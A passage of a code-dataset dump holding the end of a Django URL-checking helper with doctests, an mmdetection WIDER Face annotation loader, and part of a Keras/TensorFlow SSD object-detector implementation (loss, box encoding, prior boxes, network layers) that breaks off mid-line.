follow_redirect)\n\n\ndef local_check(path, query=None, follow_redirect=10):\n    \"\"\"\n    Try to fetch specified ``path`` using django.test.Client.\n    ``query`` is string with query.\n    Return True if success.\n\n    >>> local_check('/response')\n    True\n\n    >>> local_check('/notfound')\n    False\n\n    >>> local_check('/error')\n    False\n\n    >>> local_check('/redirect_response')\n    True\n\n    >>> local_check('/redirect_notfound')\n    False\n\n    >>> local_check('/redirect_redirect_response')\n    True\n\n    >>> local_check('/redirect_cicle')\n    False\n\n    >>> local_check('/permanent_redirect_response')\n    True\n\n    >>> local_check('/http404')\n    False\n\n    >>> local_check('/http500')\n    False\n\n    >>> local_check('/request_true_response')\n    True\n\n    >>> local_check('/request_false_response')\n    True\n\n    >>> local_check('/does.not.exist')\n    False\n\n    >>> local_check('/media/foo')\n    True\n\n    >>> local_check('/media/does.not.exist')\n    False\n\n    >>> local_check('/static/admin/css/base.css')\n    True\n\n    >>> local_check('/static/does.not.exist')\n    False\n    \"\"\"\n    try:\n        response = local_response(path, query, follow_redirect)\n        return response.status_code == 200\n    except:\n        return False","sub_path":"pycfiles/django-url-methods-0.2.0/urlmethods.py","file_name":"urlmethods.py","file_ext":"py","file_size_in_byte":10130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"620436487","text":"import numpy as np\nimport mmcv\nfrom .registry import DATASETS\nfrom .custom import CustomDataset\n@DATASETS.register_module\nclass WIDERFaceDataset(CustomDataset):\n    \"\"\"\n    Reader for the WIDER Face dataset in PASCAL VOC format.\n    Conversion scripts can be found in\n    https://github.com/sovrasov/wider-face-pascal-voc-annotations\n    \"\"\"\n    CLASSES = ('face', )\n\n    def __init__(self, min_size=None, **kwargs):\n        self.min_size = min_size\n        super(WIDERFaceDataset, self).__init__(**kwargs)\n\n    def load_annotations(self, ann_file):\n        img_info = mmcv.load(ann_file)\n        for i, img in enumerate(img_info):\n            ann = img['ann']\n            gt_bboxes = []\n            gt_bboxes_ignore = []\n            gt_labels = []\n            for box in ann['bboxes']:\n                x1, y1, w, h= box\n                area = w * h\n                bbox = [x1, y1, x1 + w - 1, y1 + h - 1]\n                if self.min_size is not None:\n                    if area < self.min_size:\n                        gt_bboxes_ignore.append(bbox)\n                    else:\n                        gt_labels.append(1)\n                        gt_bboxes.append(bbox)\n                else:\n                    gt_labels.append(1)\n                    gt_bboxes.append(bbox)\n\n            if gt_bboxes:\n                gt_bboxes = np.array(gt_bboxes, dtype=np.float32)\n                gt_labels = np.array(gt_labels, dtype=np.int64)\n            else:\n                gt_bboxes = np.zeros((0, 4), dtype=np.float32)\n                gt_labels = np.array([], dtype=np.int64)\n\n            if gt_bboxes_ignore:\n                gt_bboxes_ignore = np.array(gt_bboxes_ignore, dtype=np.float32)\n            else:\n                gt_bboxes_ignore = np.zeros((0, 4), dtype=np.float32)\n\n            ann = dict(\n                bboxes=gt_bboxes, labels=gt_labels, bboxes_ignore=gt_bboxes_ignore)\n            img_info[i]['ann'] = ann\n\n\n                \n        return img_info\n","sub_path":"mmdet/datasets/wider_face.py","file_name":"wider_face.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"71844926","text":"# Code adapted from https://github.com/rykov8/ssd_keras\n\nimport keras.backend as K\nfrom keras.layers import Activation\nfrom keras.layers import Conv2D\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers import GlobalAveragePooling2D\nfrom keras.layers import Input\nfrom keras.layers import MaxPooling2D\nfrom keras.layers import Reshape\nfrom keras.layers import ZeroPadding2D\nfrom keras.models import Model as KerasModel\nfrom keras.layers import concatenate\nfrom keras.layers import Dropout\nfrom keras.utils import Sequence\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.preprocessing import image\nfrom keras.models import load_model\nfrom keras.optimizers import SGD\n\nfrom keras.engine.topology import InputSpec\nfrom keras.engine.topology import Layer\nimport numpy as np\nimport tensorflow as tf\nimport pickle\nimport os\nimport cv2\nfrom random import shuffle\nfrom xml.etree import ElementTree\n\nimport vectorial.core\n\n\nclass MultiboxLoss(object):\n    \"\"\"Multibox loss with some helper functions.\n    # Arguments\n        num_classes: Number of classes including background.\n        alpha: Weight of L1-smooth loss.\n        neg_pos_ratio: Max ratio of negative to positive boxes in loss.\n        background_label_id: Id of background label.\n        negatives_for_hard: Number of negative boxes to consider\n            it there is no positive boxes in batch.\n    # References\n        https://arxiv.org/abs/1512.02325\n    # TODO\n        Add possibility for background label id be not zero\n    \"\"\"\n    def __init__(self, num_classes, alpha=1.0, neg_pos_ratio=3.0,\n                 background_label_id=0, negatives_for_hard=100.0):\n        self.num_classes = num_classes\n        self.alpha = alpha\n        self.neg_pos_ratio = neg_pos_ratio\n        if background_label_id != 0:\n            raise Exception('Only 0 as background label id is supported')\n        self.background_label_id = background_label_id\n        self.negatives_for_hard = negatives_for_hard\n\n    def _l1_smooth_loss(self, y_true, y_pred):\n        \"\"\"Compute L1-smooth loss.\n        # Arguments\n            y_true: Ground truth bounding boxes,\n                tensor of shape (?, num_boxes, 4).\n            y_pred: Predicted bounding boxes,\n                tensor of shape (?, num_boxes, 4).\n        # Returns\n            l1_loss: L1-smooth loss, tensor of shape (?, num_boxes).\n        # References\n            https://arxiv.org/abs/1504.08083\n        \"\"\"\n        abs_loss = tf.abs(y_true - y_pred)\n        sq_loss = 0.5 * (y_true - y_pred)**2\n        l1_loss = tf.where(tf.less(abs_loss, 1.0), sq_loss, abs_loss - 0.5)\n        return tf.reduce_sum(l1_loss, -1)\n\n    def _softmax_loss(self, y_true, y_pred):\n        \"\"\"Compute softmax loss.\n        # Arguments\n            y_true: Ground truth targets,\n                tensor of shape (?, num_boxes, num_classes).\n            y_pred: Predicted logits,\n                tensor of shape (?, num_boxes, num_classes).\n        # Returns\n            softmax_loss: Softmax loss, tensor of shape (?, num_boxes).\n        \"\"\"\n        y_pred = tf.maximum(tf.minimum(y_pred, 1 - 1e-15), 1e-15)\n        softmax_loss = -tf.reduce_sum(y_true * tf.log(y_pred),\n                                      axis=-1)\n        return softmax_loss\n\n    def compute_loss(self, y_true, y_pred):\n        \"\"\"Compute mutlibox loss.\n        # Arguments\n            y_true: Ground truth targets,\n                tensor of shape (?, num_boxes, 4 + num_classes + 8),\n                priors in ground truth are fictitious,\n                y_true[:, :, -8] has 1 if prior should be penalized\n                    or in other words is assigned to some ground truth box,\n                y_true[:, :, -7:] are all 0.\n            y_pred: Predicted logits,\n                tensor of shape (?, num_boxes, 4 + num_classes + 8).\n        # Returns\n            loss: Loss for prediction, tensor of shape (?,).\n        \"\"\"\n        batch_size = tf.shape(y_true)[0]\n        num_boxes = tf.to_float(tf.shape(y_true)[1])\n\n        # loss for all priors\n        conf_loss = self._softmax_loss(y_true[:, :, 4:-8],\n                                       y_pred[:, :, 4:-8])\n        loc_loss = self._l1_smooth_loss(y_true[:, :, :4],\n                                        y_pred[:, :, :4])\n\n        # get positives loss\n        num_pos = tf.reduce_sum(y_true[:, :, -8], axis=-1)\n        pos_loc_loss = tf.reduce_sum(loc_loss * y_true[:, :, -8],\n                                     axis=1)\n        pos_conf_loss = tf.reduce_sum(conf_loss * y_true[:, :, -8],\n                                      axis=1)\n\n        # get negatives loss, we penalize only confidence here\n        num_neg = tf.minimum(self.neg_pos_ratio * num_pos,\n                             num_boxes - num_pos)\n        pos_num_neg_mask = tf.greater(num_neg, 0)\n        has_min = tf.to_float(tf.reduce_any(pos_num_neg_mask))\n        num_neg = tf.concat(axis=0, values=[num_neg,\n                                [(1 - has_min) * self.negatives_for_hard]])\n        num_neg_batch = tf.reduce_min(tf.boolean_mask(num_neg,\n                                                      tf.greater(num_neg, 0)))\n        num_neg_batch = tf.to_int32(num_neg_batch)\n        confs_start = 4 + self.background_label_id + 1\n        confs_end = confs_start + self.num_classes - 1\n        max_confs = tf.reduce_max(y_pred[:, :, confs_start:confs_end],\n                                  axis=2)\n        _, indices = tf.nn.top_k(max_confs * (1 - y_true[:, :, -8]),\n                                 k=num_neg_batch)\n        batch_idx = tf.expand_dims(tf.range(0, batch_size), 1)\n        batch_idx = tf.tile(batch_idx, (1, num_neg_batch))\n        full_indices = (tf.reshape(batch_idx, [-1]) * tf.to_int32(num_boxes) +\n                        tf.reshape(indices, [-1]))\n        # full_indices = tf.concat(2, [tf.expand_dims(batch_idx, 2),\n        #                              tf.expand_dims(indices, 2)])\n        # neg_conf_loss = tf.gather_nd(conf_loss, full_indices)\n        neg_conf_loss = tf.gather(tf.reshape(conf_loss, [-1]),\n                                  full_indices)\n        neg_conf_loss = tf.reshape(neg_conf_loss,\n                                   [batch_size, num_neg_batch])\n        neg_conf_loss = tf.reduce_sum(neg_conf_loss, axis=1)\n\n        # loss is sum of positives and negatives\n        total_loss = pos_conf_loss + neg_conf_loss\n        total_loss /= (num_pos + tf.to_float(num_neg_batch))\n        num_pos = tf.where(tf.not_equal(num_pos, 0), num_pos,\n                            tf.ones_like(num_pos))\n        total_loss += (self.alpha * pos_loc_loss) / num_pos\n        return total_loss\n\nclass BBoxUtility(object):\n    \"\"\"Utility class to do some stuff with bounding boxes and priors.\n\n    # Arguments\n        num_classes: Number of classes including background.\n        priors: Priors and variances, numpy tensor of shape (num_priors, 8),\n            priors[i] = [xmin, ymin, xmax, ymax, varxc, varyc, varw, varh].\n        overlap_threshold: Threshold to assign box to a prior.\n        nms_thresh: Nms threshold.\n        top_k: Number of total bboxes to be kept per image after nms step.\n\n    # References\n        https://arxiv.org/abs/1512.02325\n    \"\"\"\n    # TODO add setter methods for nms_thresh and top_K\n    def __init__(self, num_classes, priors=None, overlap_threshold=0.5,\n                 nms_thresh=0.45, top_k=400):\n        self.num_classes = num_classes\n        self.priors = priors\n        self.num_priors = 0 if priors is None else len(priors)\n        self.overlap_threshold = overlap_threshold\n        self._nms_thresh = nms_thresh\n        self._top_k = top_k\n        self.boxes = tf.placeholder(dtype='float32', shape=(None, 4))\n        self.scores = tf.placeholder(dtype='float32', shape=(None,))\n        self.nms = tf.image.non_max_suppression(self.boxes, self.scores,\n                                                self._top_k,\n                                                iou_threshold=self._nms_thresh)\n        self.sess = tf.Session(config=tf.ConfigProto(device_count={'GPU': 0}))\n\n    @property\n    def nms_thresh(self):\n        return self._nms_thresh\n\n    @nms_thresh.setter\n    def nms_thresh(self, value):\n        self._nms_thresh = value\n        self.nms = tf.image.non_max_suppression(self.boxes, self.scores,\n                                                self._top_k,\n                                                iou_threshold=self._nms_thresh)\n\n    @property\n    def top_k(self):\n        return self._top_k\n\n    @top_k.setter\n    def top_k(self, value):\n        self._top_k = value\n        self.nms = tf.image.non_max_suppression(self.boxes, self.scores,\n                                                self._top_k,\n                                                iou_threshold=self._nms_thresh)\n\n    def iou(self, box):\n        \"\"\"Compute intersection over union for the box with all priors.\n\n        # Arguments\n            box: Box, numpy tensor of shape (4,).\n\n        # Return\n            iou: Intersection over union,\n                numpy tensor of shape (num_priors).\n        \"\"\"\n        # compute intersection\n        inter_upleft = np.maximum(self.priors[:, :2], box[:2])\n        inter_botright = np.minimum(self.priors[:, 2:4], box[2:])\n        inter_wh = inter_botright - inter_upleft\n        inter_wh = np.maximum(inter_wh, 0)\n        inter = inter_wh[:, 0] * inter_wh[:, 1]\n        # compute union\n        area_pred = (box[2] - box[0]) * (box[3] - box[1])\n        area_gt = (self.priors[:, 2] - self.priors[:, 0])\n        area_gt *= (self.priors[:, 3] - self.priors[:, 1])\n        union = area_pred + area_gt - inter\n        # compute iou\n        iou = inter / union\n        return iou\n\n    def encode_box(self, box, return_iou=True):\n        \"\"\"Encode box for training, do it only for assigned priors.\n\n        # Arguments\n            box: Box, numpy tensor of shape (4,).\n            return_iou: Whether to concat iou to encoded values.\n\n        # Return\n            encoded_box: Tensor with encoded box\n                numpy tensor of shape (num_priors, 4 + int(return_iou)).\n        \"\"\"\n        iou = self.iou(box)\n        encoded_box = np.zeros((self.num_priors, 4 + return_iou))\n        assign_mask = iou > self.overlap_threshold\n        if not assign_mask.any():\n            assign_mask[iou.argmax()] = True\n        if return_iou:\n            encoded_box[:, -1][assign_mask] = iou[assign_mask]\n        assigned_priors = self.priors[assign_mask]\n        box_center = 0.5 * (box[:2] + box[2:])\n        box_wh = box[2:] - box[:2]\n        assigned_priors_center = 0.5 * (assigned_priors[:, :2] +\n                                        assigned_priors[:, 2:4])\n        assigned_priors_wh = (assigned_priors[:, 2:4] -\n                              assigned_priors[:, :2])\n        # we encode variance\n        encoded_box[:, :2][assign_mask] = box_center - assigned_priors_center\n        encoded_box[:, :2][assign_mask] /= assigned_priors_wh\n        encoded_box[:, :2][assign_mask] /= assigned_priors[:, -4:-2]\n        encoded_box[:, 2:4][assign_mask] = np.log(box_wh /\n                                                  assigned_priors_wh)\n        encoded_box[:, 2:4][assign_mask] /= assigned_priors[:, -2:]\n        return encoded_box.ravel()\n\n    def assign_boxes(self, boxes):\n        \"\"\"Assign boxes to priors for training.\n\n        # Arguments\n            boxes: Box, numpy tensor of shape (num_boxes, 4 + num_classes),\n                num_classes without background.\n\n        # Return\n            assignment: Tensor with assigned boxes,\n                numpy tensor of shape (num_boxes, 4 + num_classes + 8),\n                priors in ground truth are fictitious,\n                assignment[:, -8] has 1 if prior should be penalized\n                    or in other words is assigned to some ground truth box,\n                assignment[:, -7:] are all 0. See loss for more details.\n        \"\"\"\n        assignment = np.zeros((self.num_priors, 4 + self.num_classes + 8))\n        assignment[:, 4] = 1.0\n        if len(boxes) == 0:\n            return assignment\n        encoded_boxes = np.apply_along_axis(self.encode_box, 1, boxes[:, :4])\n        encoded_boxes = encoded_boxes.reshape(-1, self.num_priors, 5)\n        best_iou = encoded_boxes[:, :, -1].max(axis=0)\n        best_iou_idx = encoded_boxes[:, :, -1].argmax(axis=0)\n        best_iou_mask = best_iou > 0\n        best_iou_idx = best_iou_idx[best_iou_mask]\n        assign_num = len(best_iou_idx)\n        encoded_boxes = encoded_boxes[:, best_iou_mask, :]\n        assignment[:, :4][best_iou_mask] = encoded_boxes[best_iou_idx,\n                                                         np.arange(assign_num),\n                                                         :4]\n        assignment[:, 4][best_iou_mask] = 0\n        assignment[:, 5:-8][best_iou_mask] = boxes[best_iou_idx, 4:]\n        assignment[:, -8][best_iou_mask] = 1\n        return assignment\n\n    def decode_boxes(self, mbox_loc, mbox_priorbox, variances):\n        \"\"\"Convert bboxes from local predictions to shifted priors.\n\n        # Arguments\n            mbox_loc: Numpy array of predicted locations.\n            mbox_priorbox: Numpy array of prior boxes.\n            variances: Numpy array of variances.\n\n        # Return\n            decode_bbox: Shifted priors.\n        \"\"\"\n        prior_width = mbox_priorbox[:, 2] - mbox_priorbox[:, 0]\n        prior_height = mbox_priorbox[:, 3] - mbox_priorbox[:, 1]\n        prior_center_x = 0.5 * (mbox_priorbox[:, 2] + mbox_priorbox[:, 0])\n        prior_center_y = 0.5 * (mbox_priorbox[:, 3] + mbox_priorbox[:, 1])\n        decode_bbox_center_x = mbox_loc[:, 0] * prior_width * variances[:, 0]\n        decode_bbox_center_x += prior_center_x\n        decode_bbox_center_y = mbox_loc[:, 1] * prior_width * variances[:, 1]\n        decode_bbox_center_y += prior_center_y\n        decode_bbox_width = np.exp(mbox_loc[:, 2] * variances[:, 2])\n        decode_bbox_width *= prior_width\n        decode_bbox_height = np.exp(mbox_loc[:, 3] * variances[:, 3])\n        decode_bbox_height *= prior_height\n        decode_bbox_xmin = decode_bbox_center_x - 0.5 * decode_bbox_width\n        decode_bbox_ymin = decode_bbox_center_y - 0.5 * decode_bbox_height\n        decode_bbox_xmax = decode_bbox_center_x + 0.5 * decode_bbox_width\n        decode_bbox_ymax = decode_bbox_center_y + 0.5 * decode_bbox_height\n        decode_bbox = np.concatenate((decode_bbox_xmin[:, None],\n                                      decode_bbox_ymin[:, None],\n                                      decode_bbox_xmax[:, None],\n                                      decode_bbox_ymax[:, None]), axis=-1)\n        decode_bbox = np.minimum(np.maximum(decode_bbox, 0.0), 1.0)\n        return decode_bbox\n\n    def detection_out(self, predictions, background_label_id=0, keep_top_k=200,\n                      confidence_threshold=0.01):\n        \"\"\"Do non maximum suppression (nms) on prediction results.\n\n        # Arguments\n            predictions: Numpy array of predicted values.\n            num_classes: Number of classes for prediction.\n            background_label_id: Label of background class.\n            keep_top_k: Number of total bboxes to be kept per image\n                after nms step.\n            confidence_threshold: Only consider detections,\n                whose confidences are larger than a threshold.\n\n        # Return\n            results: List of predictions for every picture. Each prediction is:\n                [label, confidence, xmin, ymin, xmax, ymax]\n        \"\"\"\n        mbox_loc = predictions[:, :, :4]\n        variances = predictions[:, :, -4:]\n        mbox_priorbox = predictions[:, :, -8:-4]\n        mbox_conf = predictions[:, :, 4:-8]\n        results = []\n        for i in range(len(mbox_loc)):\n            results.append([])\n            decode_bbox = self.decode_boxes(mbox_loc[i],\n                                            mbox_priorbox[i], variances[i])\n            for c in range(self.num_classes):\n                if c == background_label_id:\n                    continue\n                c_confs = mbox_conf[i, :, c]\n                c_confs_m = c_confs > confidence_threshold\n                if len(c_confs[c_confs_m]) > 0:\n                    boxes_to_process = decode_bbox[c_confs_m]\n                    confs_to_process = c_confs[c_confs_m]\n                    feed_dict = {self.boxes: boxes_to_process,\n                                 self.scores: confs_to_process}\n                    idx = self.sess.run(self.nms, feed_dict=feed_dict)\n                    good_boxes = boxes_to_process[idx]\n                    confs = confs_to_process[idx][:, None]\n                    labels = c * np.ones((len(idx), 1))\n                    c_pred = np.concatenate((labels, confs, good_boxes),\n                                            axis=1)\n                    results[-1].extend(c_pred)\n            if len(results[-1]) > 0:\n                results[-1] = np.array(results[-1])\n                argsort = np.argsort(results[-1][:, 1])[::-1]\n                results[-1] = results[-1][argsort]\n                results[-1] = results[-1][:keep_top_k]\n        return results\n\n\nclass Normalize(Layer):\n    \"\"\"Normalization layer as described in ParseNet paper.\n\n    # Arguments\n        scale: Default feature scale.\n\n    # Input shape\n        4D tensor with shape:\n        `(samples, channels, rows, cols)` if dim_ordering='th'\n        or 4D tensor with shape:\n        `(samples, rows, cols, channels)` if dim_ordering='tf'.\n\n    # Output shape\n        Same as input\n\n    # References\n        http://cs.unc.edu/~wliu/papers/parsenet.pdf\n\n    #TODO\n        Add possibility to have one scale for all features.\n    \"\"\"\n    def __init__(self, scale, **kwargs):\n        if K.image_dim_ordering() == 'tf':\n            self.axis = 3\n        else:\n            self.axis = 1\n        self.scale = scale\n        super(Normalize, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n        self.input_spec = [InputSpec(shape=input_shape)]\n        shape = (input_shape[self.axis],)\n        init_gamma = self.scale * np.ones(shape)\n        self.gamma = K.variable(init_gamma, name='{}_gamma'.format(self.name))\n        self.trainable_weights = [self.gamma]\n\n    def call(self, x, mask=None):\n        output = K.l2_normalize(x, self.axis)\n        output *= self.gamma\n        return output\n\n\nclass PriorBox(Layer):\n    \"\"\"Generate the prior boxes of designated sizes and aspect ratios.\n\n    # Arguments\n        img_size: Size of the input image as tuple (w, h).\n        min_size: Minimum box size in pixels.\n        max_size: Maximum box size in pixels.\n        aspect_ratios: List of aspect ratios of boxes.\n        flip: Whether to consider reverse aspect ratios.\n        variances: List of variances for x, y, w, h.\n        clip: Whether to clip the prior's coordinates\n            such that they are within [0, 1].\n\n    # Input shape\n        4D tensor with shape:\n        `(samples, channels, rows, cols)` if dim_ordering='th'\n        or 4D tensor with shape:\n        `(samples, rows, cols, channels)` if dim_ordering='tf'.\n\n    # Output shape\n        3D tensor with shape:\n        (samples, num_boxes, 8)\n\n    # References\n        https://arxiv.org/abs/1512.02325\n\n    #TODO\n        Add possibility not to have variances.\n        Add Theano support\n    \"\"\"\n    def __init__(self, img_size, min_size, max_size=None, aspect_ratios=None,\n                 flip=True, variances=[0.1], clip=True, **kwargs):\n        if K.image_dim_ordering() == 'tf':\n            self.waxis = 2\n            self.haxis = 1\n        else:\n            self.waxis = 3\n            self.haxis = 2\n        self.img_size = img_size\n        if min_size <= 0:\n            raise Exception('min_size must be positive.')\n        self.min_size = min_size\n        self.max_size = max_size\n        self.aspect_ratios = [1.0]\n        if max_size:\n            if max_size < min_size:\n                raise Exception('max_size must be greater than min_size.')\n            self.aspect_ratios.append(1.0)\n        if aspect_ratios:\n            for ar in aspect_ratios:\n                if ar in self.aspect_ratios:\n                    continue\n                self.aspect_ratios.append(ar)\n                if flip:\n                    self.aspect_ratios.append(1.0 / ar)\n        self.variances = np.array(variances)\n        self.clip = True\n        super(PriorBox, self).__init__(**kwargs)\n\n    def compute_output_shape(self, input_shape):\n        num_priors_ = len(self.aspect_ratios)\n        layer_width = input_shape[self.waxis]\n        layer_height = input_shape[self.haxis]\n        num_boxes = num_priors_ * layer_width * layer_height\n        return (input_shape[0], num_boxes, 8)\n\n    def call(self, x, mask=None):\n        if hasattr(x, '_keras_shape'):\n            input_shape = x._keras_shape\n        elif hasattr(K, 'int_shape'):\n            input_shape = K.int_shape(x)\n        layer_width = input_shape[self.waxis]\n        layer_height = input_shape[self.haxis]\n        img_width = self.img_size[0]\n        img_height = self.img_size[1]\n        # define prior boxes shapes\n        box_widths = []\n        box_heights = []\n        for ar in self.aspect_ratios:\n            if ar == 1 and len(box_widths) == 0:\n                box_widths.append(self.min_size)\n                box_heights.append(self.min_size)\n            elif ar == 1 and len(box_widths) > 0:\n                box_widths.append(np.sqrt(self.min_size * self.max_size))\n                box_heights.append(np.sqrt(self.min_size * self.max_size))\n            elif ar != 1:\n                box_widths.append(self.min_size * np.sqrt(ar))\n                box_heights.append(self.min_size / np.sqrt(ar))\n        box_widths = 0.5 * np.array(box_widths)\n        box_heights = 0.5 * np.array(box_heights)\n        # define centers of prior boxes\n        step_x = img_width / layer_width\n        step_y = img_height / layer_height\n        linx = np.linspace(0.5 * step_x, img_width - 0.5 * step_x,\n                           layer_width)\n        liny = np.linspace(0.5 * step_y, img_height - 0.5 * step_y,\n                           layer_height)\n        centers_x, centers_y = np.meshgrid(linx, liny)\n        centers_x = centers_x.reshape(-1, 1)\n        centers_y = centers_y.reshape(-1, 1)\n        # define xmin, ymin, xmax, ymax of prior boxes\n        num_priors_ = len(self.aspect_ratios)\n        prior_boxes = np.concatenate((centers_x, centers_y), axis=1)\n        prior_boxes = np.tile(prior_boxes, (1, 2 * num_priors_))\n        prior_boxes[:, ::4] -= box_widths\n        prior_boxes[:, 1::4] -= box_heights\n        prior_boxes[:, 2::4] += box_widths\n        prior_boxes[:, 3::4] += box_heights\n        prior_boxes[:, ::2] /= img_width\n        prior_boxes[:, 1::2] /= img_height\n        prior_boxes = prior_boxes.reshape(-1, 4)\n        if self.clip:\n            prior_boxes = np.minimum(np.maximum(prior_boxes, 0.0), 1.0)\n        # define variances\n        num_boxes = len(prior_boxes)\n        if len(self.variances) == 1:\n            variances = np.ones((num_boxes, 4)) * self.variances[0]\n        elif len(self.variances) == 4:\n            variances = np.tile(self.variances, (num_boxes, 1))\n        else:\n            raise Exception('Must provide one or four variances.')\n        prior_boxes = np.concatenate((prior_boxes, variances), axis=1)\n        prior_boxes_tensor = K.expand_dims(K.variable(prior_boxes), 0)\n        if K.backend() == 'tensorflow':\n            pattern = [tf.shape(x)[0], 1, 1]\n            prior_boxes_tensor = tf.tile(prior_boxes_tensor, pattern)\n        elif K.backend() == 'theano':\n            #TODO\n            pass\n        return prior_boxes_tensor\n\n\nclass SSDArchitecture(vectorial.core.Architecture):\n    \"\"\"SSD300 architecture.\n\n    # Arguments\n        input_shape: Shape of the input image,\n            expected to be either (300, 300, 3) or (3, 300, 300)(not tested).\n        num_classes: Number of classes including background.\n\n    # References\n        https://arxiv.org/abs/1512.02325\n    \"\"\"\n\n    def __init__(self,  num_classes=21, dropout_rate=None, input_shape=(300, 300, 3)):\n        super().__init__()\n       \n        self.num_classes = num_classes \n        net = {}\n\n        # Block 1\n        input_tensor = Input(shape=input_shape)\n        img_size = (input_shape[1], input_shape[0])\n        net['input'] = input_tensor\n        net['conv1_1'] = Conv2D(64, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv1_1\")(net['input'])\n        net['conv1_2'] = Conv2D(64, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv1_2\")(net['conv1_1'])\n        net['pool1'] = MaxPooling2D((2, 2), padding=\"same\", strides=(2, 2), name=\"pool1\")(net['conv1_2'])\n        \n        # Block 2\n        net['conv2_1'] = Conv2D(128, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv2_1\")(net['pool1'])\n        net['conv2_2'] = Conv2D(128, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv2_2\")(net['conv2_1'])\n        net['pool2'] = MaxPooling2D((2, 2), padding=\"same\", strides=(2, 2), name=\"pool2\")(net['conv2_2'])\n\n        # Block 3\n        net['conv3_1'] = Conv2D(256, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv3_1\")(net['pool2'])\n        net['conv3_2'] = Conv2D(256, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv3_2\")(net['conv3_1'])\n        net['conv3_3'] = Conv2D(256, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv3_3\")(net['conv3_2'])\n        net['pool3'] = MaxPooling2D((2, 2), padding=\"same\", strides=(2, 2), name=\"pool3\")(net['conv3_3'])\n        \n        # Block 4\n        net['conv4_1'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv4_1\")(net['pool3'])\n        net['conv4_2'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv4_2\")(net['conv4_1'])\n        net['conv4_3'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv4_3\")(net['conv4_2'])\n        net['pool4'] = MaxPooling2D((2, 2), padding=\"same\", strides=(2, 2), name=\"pool4\")(net['conv4_3'])\n\n        # Block 5\n        net['conv5_1'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv5_1\")(net['pool4'])\n        net['conv5_2'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv5_2\")(net['conv5_1'])\n        net['conv5_3'] = Conv2D(512, (3, 3), padding=\"same\", activation=\"relu\", name=\"conv5_3\")(net['conv5_2'])\n        net['pool5'] = MaxPooling2D((3, 3), padding=\"same\", strides=(1, 1), name=\"pool5\")(net['conv5_3'])\n\n        if dropout_rate is not None:\n            # FC6\n            net['fc6'] = Conv2D(1024, (3, 3), padding=\"same\", activation=\"relu\", dilation_rate=(6, 6), name=\"fc6\")(net['pool5'])\n            net['drop6'] = Dropout(dropout_rate, name='drop6')(net['fc6'])\n            \n            # FC7\n            net['fc7'] = Conv2D(1024, (1, 1), padding=\"same\", activation=\"relu\", name=\"fc7\")(net['drop6'])\n            net['drop7'] = Dropout(dropout_rate, name='drop7')(net['fc7'])\n        \n            # Block 6\n            net['conv6_1'] = Conv2D(256, (1, 1), padding=\"same\", activation=\"relu\", name=\"conv6_1\")(net['drop7'])\n            net['conv6_2'] = Conv2D(512, (3, 3), padding=\"same\", strides=(2, 2), activation=\"relu\", name=\"conv6_2\")(net['conv6_1'])\n        else:\n            # FC6\n            net['fc6'] = Conv2D(1024, (3, 3), padding=\"same\", activation=\"relu\", dilation_rate=(6, 6), name=\"fc6\")(net['pool5'])\n            \n            # FC7\n            net['fc7'] = Conv2D(1024, (1, 1), padding=\"same\", activation=\"relu\", name=\"fc7\")(net['fc6'])\n            \n            # Block 6\n            net['conv6_1'] = Conv2D(256, (1, 1), padding=\"same\", activation=\"relu\", name=\"conv6_1\")(net['fc7'])\n            net['conv6_2'] = Conv2D(512, (3, 3), padding=\"same\", strides=(2, 2), activation=\"relu\", name=\"conv6_2\")(net['conv6_1'])\n\n        # Block 7\n        net['conv7_1'] = Conv2D(128, (1, 1), padding=\"same\", activation=\"relu\", name=\"conv7_1\")(net['conv6_2'])\n        net['conv7_2'] = ZeroPadding2D()(net['conv7_1'])\n        net['conv7_2'] = Conv2D(256, (3, 3), padding=\"valid\", strides=(2, 2), activation=\"relu\", name=\"conv7_2\")(net['conv7_2'])\n        \n        # Block 8\n        net['conv8_1'] = Conv2D(128, (1, 1), padding=\"same\", activation=\"relu\", name=\"conv8_1\")(net['conv7_2'])\n        net['conv8_2'] = Conv2D(256, (3, 3), padding=\"same\", strides=(2, 2), activation=\"relu\", name=\"conv8_2\")(net['conv8_1'])\n        \n        # Last Pool\n        net['pool6'] = GlobalAveragePooling2D(name='pool6')(net['conv8_2'])\n        \n        # Prediction from conv4_3\n        net['conv4_3_norm'] = Normalize(20, name='conv4_3_norm')(net['conv4_3'])\n        num_priors = 3\n        \n        x = Conv2D(num_priors * 4, (3, 3), padding=\"same\", name=\"conv4_3_norm_mbox_loc\")(net['conv4_3_norm'])\n        net['conv4_3_norm_mbox_loc'] = x\n        flatten = Flatten(name='conv4_3_norm_mbox_loc_flat')\n        net['conv4_3_norm_mbox_loc_flat'] = flatten(net['conv4_3_norm_mbox_loc'])\n        name = 'conv4_3_norm_mbox_conf'\n        if num_classes != 21:\n            name += '_{}'.format(num_classes)\n        x = Conv2D(num_priors * num_classes, (3, 3), padding=\"same\", name=name)(net['conv4_3_norm'])\n        net['conv4_3_norm_mbox_conf'] = x\n        flatten = Flatten(name='conv4_3_norm_mbox_conf_flat')\n        net['conv4_3_norm_mbox_conf_flat'] = flatten(net['conv4_3_norm_mbox_conf'])\n        priorbox = PriorBox(img_size, 30.0, aspect_ratios=[2],\n                            variances=[0.1, 0.1, 0.2, 0.2],\n                            name='conv4_3_norm_mbox_priorbox')\n        net['conv4_3_norm_mbox_priorbox'] = priorbox(net['conv4_3_norm'])\n        # Prediction from fc7\n        num_priors = 6\n        net['fc7_mbox_loc'] = Conv2D(num_priors * 4, (3, 3), padding=\"same\", 